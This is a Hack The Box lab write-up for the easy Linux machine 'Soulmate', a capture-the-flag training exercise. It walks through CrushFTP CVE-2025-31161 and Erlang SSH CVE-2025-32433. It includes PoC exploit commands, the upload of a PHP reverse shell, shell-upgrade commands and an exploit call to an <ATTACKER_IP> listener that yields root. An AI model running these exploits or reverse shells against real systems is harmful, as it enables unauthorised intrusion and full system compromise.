- Platform: Hack The Box
- Link: Soulmate
- Level: Easy
- OS: Linux
Soulmate features a CrushFTP instance discovered through subdomain enumeration. Vulnerability research identified CVE-2025-31161, which was leveraged to exploit the file transfer application. By abusing a file upload feature, we gained an initial foothold on the target system.
Post-compromise enumeration revealed a script containing valid user credentials, allowing us to pivot to another account. Further analysis uncovered an internal Erlang SSH service vulnerable to CVE-2025-32433, which was exploited to achieve root-level access.
This write-up also discusses an alternative, shorter exploitation path and explains why direct privilege escalation was possible in this scenario.
Scanning
nmap -p- --min-rate 1000 -T4 --open -n -Pn -sC -sV -oA nmap/Soulmate {IP}
Results
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-10 08:37 CST
Nmap scan report for 10.129.119.39
Host is up (0.10s latency).
Not shown: 51979 closed tcp ports (conn-refused), 13554 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soulmate.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 46.47 seconds
Nmap finds two open ports with SSH (22) and http (80). Additionally we have a redirection to http://soulmate.htb/.
sudo echo "{IP} soulmate.htb" | sudo tee -a /etc/hosts
Enumeration
At http://soulmate.htb/ we find a matchmaking application.

We create an account and login. At http://soulmate.htb/profile.php we have the option to upload a picture which might potentially be exploitable.

Directory bruteforcing is unfruitful. We only find the assets directory which we cannot access.
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://soulmate.htb


With ffuf we find a subdomain ftp.
ffuf -c -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -t 100 -u http://soulmate.htb -H "Host: FUZZ.soulmate.htb" -ic -fs 154

Visiting http://ftp.soulmate.htb we discover a CrushFTP instance.

Searching for vulnerabilities we find CVE-2025-31161 with a PoC available here.
This CVE was initially referenced as
CVE-2025-2825, the name was rejected by NIST and its official number becameCVE-2025-31161.
Initial Foothold
Leveraging this vulnerability we can create a new user with admin privileges.
python3 cve-2025-31161.py --target_host ftp.soulmate.htb --port 80 --target_user root --new_user kscorpio --password kscorpio

We then login with the created credentials.

We click the hamburger menu in the top-left corner and then on Admin.

On the new page we select the hamburger menu icon again then User Manager.

We see the list of all the users, we can update users’ password thanks to our admin privileges.
I changed ben’s password. Do not forget to click on
Saveto confirm the password change.

We login as ben and we find three folders, webProd contains all the website files.

After selecting it the Add files option becomes available.

I uploaded the web shell available at /usr/share/webshells/php/php-reverse-shell.php in kali Linux.

Visiting http://soulmate.htb/rev.php triggers the reverse shell and we get a shell as www-data.

Our shell can be upgraded with the following commands
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
ctrl + z
stty raw -echo; fg
stty rows 38 columns 116
Privilege Escaltion
For the system enumeration let’s run linPEAS.
We find a few Erlang scripts which we should definitely check.

The start.escript file is a mini SSH server launcher written in Erlang. it starts an SSH daemon bound to local host on port 2222. It also logs authentication attempts, and contains hardcoded credentials.

The login.escript is an SSH login auditing script. It records SSH session metadata, writes logs to syslog via logger and to /var/log/erlang_login/session.log.
logger is a command line tool to write messages to the system log.
We use these credentials to login via SSH as ben, password is HouseH0ldings998.
ssh ben@soulmate.htb

With the same linPEAS output we see some internal ports.

The script mentioned an SSH server on port 2222, let’s check it. netcat is already installed on the target so we can attempt to grab the SSH banner locally.
nc 127.0.0.1 2222

A simple Google search with SSH-2.0-Erlang/5.2.9 vulnerability leads us to CVE-2025-32433 with a PoC here.
python3 cve-2025-32433.py 127.0.0.1 -p 2222 --lhost <ATTACKER_IP> --lport <ATTACKER_PORT> --shell

On the listener we get a root shell

Shorter Path to root
We can actually go directly from the www-data shell to root using the same PoC.

On the listener we get a root shell without having to compromise theben account.

This shorter attack path is possible because CVE-2025-32433 is a pre-authentication RCE vulnerability in the Erlang SSH daemon. It means that any local user able to reach the SSH daemon is able to exploit it (even without valid credentials).
The exploit gives a root shell because the daemon is running as root in the background. We can verify this by running a few commands.
Running ss -lntp as root we see that port 2222 is owned by beam.smp with PID 1144.

Now let’s check the owner of this process.
ps -p 1144 -o user,uid,cmd

The output confirms that the daemon is running as root.
- The user is
root - The UID is
0 - It executes
/usr/local/lib/erlang_login/start.escript
Because the vulnerable SSH service runs with root privileges, successful exploitation immediately results in root-level command execution.
This short exploitation chain would not work if the box was updated with a fixed Erlang version or if the daemon was executed under a low-privileged user.
This is a good reminder that local-only services can also be leveraged by malicious actors once they gain a foothold on a system, and that vulnerable root-owned daemons represent clear ways to a full system compromise.